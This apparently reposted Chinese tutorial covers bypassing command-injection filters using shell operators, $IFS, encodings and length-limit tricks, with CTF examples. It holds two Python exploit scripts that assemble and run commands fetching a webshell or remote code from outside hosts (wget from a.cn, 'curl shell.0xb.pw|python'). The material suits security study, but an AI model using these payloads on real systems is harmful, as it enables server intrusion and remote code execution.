热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

Bypass一些命令注入限制的姿势

OS命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任

命令注入

OS命令注入(也称为 shell 注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全破坏应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏宿主基础设施的其他部分,利用信任关系将攻击转移到组织内的其他系统。

前置知识

说到命令注入,我们不得不提到命令注入中几个常用的符号。

&&

语法格式如下:
command1 && command2 [&& command3 ...]
1 命令之间使用 && 连接,实现逻辑与的功能。
2 只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才会被执行。
3 只要有一个命令返回假(命令返回值 $? == 1),后面的命令就不会被执行。

|(管道符号)

| 表示管道,上一条命令的输出,作为下一条命令的参数

||

语法格式如下:
command1 || command2 [|| command3 ...]
1 命令之间使用 || 连接,实现逻辑或的功能。
2 只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才会被执行。这和 c 语言中的逻辑或语法功能相同,即实现短路逻辑或操作。
3 只要有一个命令返回真(命令返回值 $? == 0),后面的命令就不会被执行。

&

& 表示将任务置于后台执行

;(分号)

多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

``和$()

在bash中,$( )与` `(反引号)都是用来作命令替换的。
各自的优缺点:
1. ` ` 基本上可用在全部的 unix shell 中使用,若写成 shell脚本,其移植性比较高,但反单引号容易打错或看错。
2. $()更有可读性,但是$()并不是所有shell都支持。

()和{}

如果希望把几个命令合在一起执行,shell提供了两种方法。既可以在当前shell也可以在子shell中执行一组命令。
(command1;command2;command3....)
{ command1;command2;command3…} #第一条命令必须与左边的括号有一个空格,最后一条命令一定要有分号

相同点:
()和{}都是把一串的命令放在括号里面,并且命令之间用;号隔开
不同点
()只是对一串命令重新开一个子shell进行执行,{}对一串命令在当前shell执行
()最后一个命令可以不用分号,{}最后一个命令要用分号
()里的第一个命令和左边括号不必有空格,{}的第一个命令和左括号之间必须要有一个空格
()和{}中括号里面的某个命令的重定向只影响该命令,但括号外的重定向则影响到括号里的所有命令

Shell 输入/输出重定向

来自菜鸟教程:

大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回​​到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端。
命令说明:
command > file:将输出重定向到 file。
command > file:将输出以追加的方式重定向到 file。
n > file:将文件描述符为 n 的文件重定向到 file。
n >> file:将文件描述符为 n 的文件以追加的方式重定向到 file。
n >& m:将输出文件 m 和 n 合并。
n <& m:将输入文件 m 和 n 合并。
< 
 

正则表达式

^
匹配输入字符串的开始位置。

$
匹配输入字符串的结束位置。

*
匹配前面的子表达式零次或多次

+
匹配前面的子表达式一次或多次。

?
匹配前面的子表达式零次或一次。

{n}
n 是一个非负整数。匹配确定的 n 次。

{n,}
n 是一个非负整数。至少匹配n 次。

{n,m}
m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。

?
当该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。

.
匹配除换行符(\n、\r)之外的任何单个字符。

[xyz]
字符集合。匹配所包含的任意一个字符。

还有一些内置的通用字符簇

[[:alpha:]] 任何字母
[[:digit:]] 任何数字
[[:alnum:]] 任何字母和数字
[[:space:]] 任何空白字符
[[:upper:]] 任何大写字母
[[:lower:]] 任何小写字母
[[:punct:]] 任何标点符号
[[:xdigit:]] 任何16进制的数字,相当于[0-9a-fA-F]

示例

一些常见的限制

通配符*和?的使用

Bypass一些命令注入限制的姿势

[]和{}的使用

Bypass一些命令注入限制的姿势

{...}与[...]有一个很重要的区别。如果匹配的文件不存在,[...]会失去模式的功能,变成一个单纯的字符串,而{...}依然可以展开。

Bypass一些命令注入限制的姿势

空格绕过

使用<和>

Bypass一些命令注入限制的姿势

使用特殊变量:$IFS

IFS的默认值为:空白(包括:空格,tab, 和新行)

Bypass一些命令注入限制的姿势

关键字过滤绕过

使用 $*$@$x (x代表1-9), ${x} (x>=10)

PS:因为在没有传参的情况下,上面的特殊变量都是为空的

Bypass一些命令注入限制的姿势

使用反斜杠

Bypass一些命令注入限制的姿势

使用变量

Bypass一些命令注入限制的姿势

Bypass一些命令注入限制的姿势

使用特殊变量${9}

${9}对应空字符串

Bypass一些命令注入限制的姿势

使用编码

base64

Bypass一些命令注入限制的姿势

16进制

Bypass一些命令注入限制的姿势

Bypass一些命令注入限制的姿势

8进制

Bypass一些命令注入限制的姿势

使用双引号和单引号

Bypass一些命令注入限制的姿势

花括号还有一种用法:{command,argument},

Bypass一些命令注入限制的姿势

使用%0a(\n),%0d(\r),%09(\t)等字符也可以bypass一些过滤,这里就会不多去赘述了

长度限制

例题1

很简单,长度不能大于等于17,直接在eval里面再用一个eval就可以了。

Bypass一些命令注入限制的姿势

例题2

这里要用到我们前面所讲到的重定向,n > file:将文件描述符为 n 的文件重定向到 file。

既然我们不能一次执行一条完整的命令,我们可以分为多次

举个简单的例子

Bypass一些命令注入限制的姿势

ls是默认以文件名 排序 的,所以我们为了控制我们命令的顺序,可以使用ls -t按时间逆序。

不过这里考虑到直接写shell有点麻烦(因为 php 中的一些符号用到shell中是有意义的,要各种转义,为了节省代码量我们直接用curl或者是wget从服务器dump一个shell下来)

exp如下:

import requests
name=[">php\\",">\\ 1.\\\\",">\\ -O\\\\",">cn\\\\",">\\ a.\\\\",">wget\\\\"]
#可以修改hosts文件,让a.cn指向一个自己的服务器。
#index.html是一个php的shell
url="http://192.168.163.128/test.php"
for x in name:
    print x
    param={'1':x}
    a=requests.get(url,params=param)
param1={'1':'ls -t>a'}
param2={'1':'sh a'}
requests.get(url,params=param1)
requests.get(url,params=param2)
b=requests.get("http://192.168.163.128/1.php")
if b.status_code == 200:
    print "ok!"
else:
    print "bad!"

Bypass一些命令注入限制的姿势 可以发现成功写了shell

例题3

HITCON CTF 2017-BabyFirst Revenge

 
 

这个字符长度限制不能大于5个,我们写字符还是可以的,但是我们的ls -t>a用不了,不过我们可以用前面的思路,把ls -t>a拆分为几段放在一个文件中,然后再执行。

Bypass一些命令注入限制的姿势

可以发现2-5行是可以执行ls -t>g的,然后后面的步骤就和前面一题一样了,这里就不多赘述了

贴一下Orange师傅的exp:

import requests
from time import sleep
from urllib import quote
payload = [
   # generate `ls -t>g` file
   '>ls\\', 
   'ls>_', 
   '>\ \\', 
   '>-t\\', 
   '>\>g', 
   'ls>>_', 
   # generate `curl orange.tw.tw>python`
   # curl shell.0xb.pw|python
   '>on', 
   '>th\\', 
   '>py\\',
   '>\|\\', 
   '>pw\\', 
   '>x.\\',
   '>xx\\', 
   '>l.\\', 
   '>el\\', 
   '>sh\\', 
   '>\ \\', 
   '>rl\\', 
   '>cu\\', 
   # exec
   'sh _', 
   'sh g', 
]
# r = requests.get('http://localhost/tmp/?reset=1')
for i in payload:
   assert len(i) <= 5 
   r = requests.get('http://localhost/tmp/?cmd=' + quote(i) )
   print i
   sleep(0.2)

Reference

https://portswigger.net/web-security/os-command-injection

https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 我们


推荐阅读
  • 浅解XXE与Portswigger Web Sec
    XXE与PortswiggerWebSec​相关链接:​博客园​安全脉搏​FreeBuf​XML的全称为XML外部实体注入,在学习的过程中发现有回显的XXE并不多,而 ... [详细]
  • 如何提高PHP编程技能及推荐高级教程
    本文介绍了如何提高PHP编程技能的方法,推荐了一些高级教程。学习任何一种编程语言都需要长期的坚持和不懈的努力,本文提醒读者要有足够的耐心和时间投入。通过实践操作学习,可以更好地理解和掌握PHP语言的特异性,特别是单引号和双引号的用法。同时,本文也指出了只走马观花看整体而不深入学习的学习方式无法真正掌握这门语言,建议读者要从整体来考虑局部,培养大局观。最后,本文提醒读者完成一个像模像样的网站需要付出更多的努力和实践。 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • 本文介绍了Windows操作系统的版本及其特点,包括Windows 7系统的6个版本:Starter、Home Basic、Home Premium、Professional、Enterprise、Ultimate。Windows操作系统是微软公司研发的一套操作系统,具有人机操作性优异、支持的应用软件较多、对硬件支持良好等优点。Windows 7 Starter是功能最少的版本,缺乏Aero特效功能,没有64位支持,最初设计不能同时运行三个以上应用程序。 ... [详细]
  • mac php错误日志配置方法及错误级别修改
    本文介绍了在mac环境下配置php错误日志的方法,包括修改php.ini文件和httpd.conf文件的操作步骤。同时还介绍了如何修改错误级别,以及相应的错误级别参考链接。 ... [详细]
  • 本文介绍了操作系统的定义和功能,包括操作系统的本质、用户界面以及系统调用的分类。同时还介绍了进程和线程的区别,包括进程和线程的定义和作用。 ... [详细]
  • PHP引用的概念和用法详解
    本文详细介绍了PHP中引用的概念和用法。引用是指不同的变量名访问同一个变量内容,类似于Unix文件系统中的hardlink。文章从引用的定义、作用、语法和注意事项等方面进行了解释和示例。同时还介绍了对未定义变量使用引用的情况,以及在函数和new运算符中使用引用的注意事项。 ... [详细]
  • 【重识云原生】第四章云网络4.8.3.2节——Open vSwitch工作原理详解
    2OpenvSwitch架构2.1OVS整体架构ovs-vswitchd:守护程序,实现交换功能,和Linux内核兼容模块一起,实现基于流的交换flow-basedswitchin ... [详细]
  • 在本教程中,我们将看到如何使用FLASK制作第一个用于机器学习模型的RESTAPI。我们将从创建机器学习模型开始。然后,我们将看到使用Flask创建AP ... [详细]
  • 获取时间的函数js代码,js获取时区代码
    本文目录一览:1、js获取服务器时间(动态)2 ... [详细]
  • 渗透测试基础bypass绕过阻挡我们的WAF(下)
    渗透测试基础-bypass ... [详细]
  • 如何实现织梦DedeCms全站伪静态
    本文介绍了如何通过修改织梦DedeCms源代码来实现全站伪静态,以提高管理和SEO效果。全站伪静态可以避免重复URL的问题,同时通过使用mod_rewrite伪静态模块和.htaccess正则表达式,可以更好地适应搜索引擎的需求。文章还提到了一些相关的技术和工具,如Ubuntu、qt编程、tomcat端口、爬虫、php request根目录等。 ... [详细]
  • java程序设计试题_《Java语言程序设计》期末考试模拟试题——填空题和编程题...
    一、根据题意,填写出空格中的内容Java平台包括三个技术方向,其中J2ME代表____________、J2SE代表___________、J2EE代表 ... [详细]
author-avatar
爱rain宝520
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有